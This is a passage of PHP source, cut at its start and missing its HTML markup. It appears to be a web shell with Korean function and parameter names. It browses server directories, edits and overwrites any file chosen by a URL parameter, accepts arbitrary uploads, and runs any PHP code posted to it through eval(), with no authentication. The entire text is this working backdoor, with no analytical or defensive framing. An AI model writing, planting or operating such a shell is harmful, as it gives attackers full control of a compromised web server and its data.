$k){if($k===''&&$j===0){$h[]='
/ ';continue;}if($k==='')continue;$h[]='
'.$k.' /';}return implode('',$h);}function 내용보기($f){$m=@scandir($f)?:[];$n=[];$o=[];foreach($m as $p){if($p==='.'||$p==='..')continue;$q=$f.'/'.$p;if(@is_dir($q)){$n[]='
폴더: '.$p.' ';}else{$r=@filesize($q);$s=($r===false||$r===0)?'0 B':파일크기($r);$o[]='
파일: '.$p.' ('.$s.')';}}echo '
';echo implode('',$n);if(!empty($n)&&!empty($o))echo ' ';echo implode('',$o);echo ' ';}function 파일편집($t){if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['내용'])){$u=$_POST['내용'];if(@file_put_contents($t,$u)!==false){echo "파일 저장 성공.";}else{echo "실패.";}}$u=@file_get_contents($t)?:'';echo '
';}function 파일업로드($f,$v){$w=$f.'/'.basename($v['name']);if(@move_uploaded_file($v['tmp_name'],$w)){echo "성공: ".htmlspecialchars($v['name']);}else{echo "실패.";}}function PHP실행($x){try{ob_start();eval($x);$y=ob_get_clean();echo '
'.htmlspecialchars($y).'
';}catch(Throwable $z){echo "오류: ".htmlspecialchars($z->getMessage());}}$f=$_GET['경로']??getcwd();if(isset($_GET['작업'])&&$_GET['작업']==='편집'&&isset($_GET['파일'])){$v=$_GET['파일'];$t=$f.'/'.$v;if(@file_exists($t)){echo"
파일: $v ";파일편집($t);}else{echo " 않습니다.";}}else{echo "
경로: ".htmlspecialchars($f)." ";echo "
".탐색($f)."
";echo "
내용: ";내용보기($f);echo '
';echo '
업로드: ';echo '
';echo ' ';echo ' ';echo ' ';echo '
PHP 실행: ';echo '
';echo ' ';echo ' ';echo ' ';}if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['파일'])){파일업로드($f,$_FILES['파일']);}if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['PHP코드'])){echo '
결과: ';PHP실행($_POST['PHP코드']);}?>